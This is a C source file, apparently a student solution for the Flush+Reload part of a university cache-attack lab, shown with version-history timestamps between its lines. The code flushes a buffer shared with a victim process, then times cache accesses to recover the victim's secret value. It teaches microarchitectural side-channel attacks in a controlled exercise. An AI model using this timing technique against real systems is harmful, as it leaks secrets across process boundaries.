SHD-CacheAttackLab/Part2-FlushReload/attacker.c

36 lines
909 B
C
Raw Normal View History

2024-02-07 14:23:56 +00:00
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include "util.h"
2024-11-04 11:29:19 +00:00
#define CACHE_HIT_THRESHOLD 200
#define WAIT_TIME 100
2024-02-07 14:23:56 +00:00
int main() {
int flag = -1;
2024-11-04 11:45:17 +00:00
CYCLES time = -1;
2024-02-07 14:23:56 +00:00
// buf is shared between the attacker and the victim
char *buf = allocate_shared_buffer();
// [2.1] TODO: Put your capture-the-flag code here
2024-11-04 11:29:19 +00:00
for(int i = 0; i < 1024; i++) {
clflush((ADDR_PTR)buf + i * 128);
}
for(int i = 0; i < WAIT_TIME; i++);
for(int i = 0; i < 1024; i++) {
2024-11-04 11:45:17 +00:00
time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128);
2024-11-04 11:29:19 +00:00
if(time < CACHE_HIT_THRESHOLD) {
2024-11-04 11:34:03 +00:00
flag = (i * 10020107) % 1024;
2024-11-04 11:29:19 +00:00
break;
}
}
2024-02-07 14:23:56 +00:00
printf("Flag: %d\n", flag);
2024-11-04 11:45:17 +00:00
printf("Time: %d\n", time);
2024-02-07 14:23:56 +00:00
deallocate_shared_buffer(buf);
return 0;
}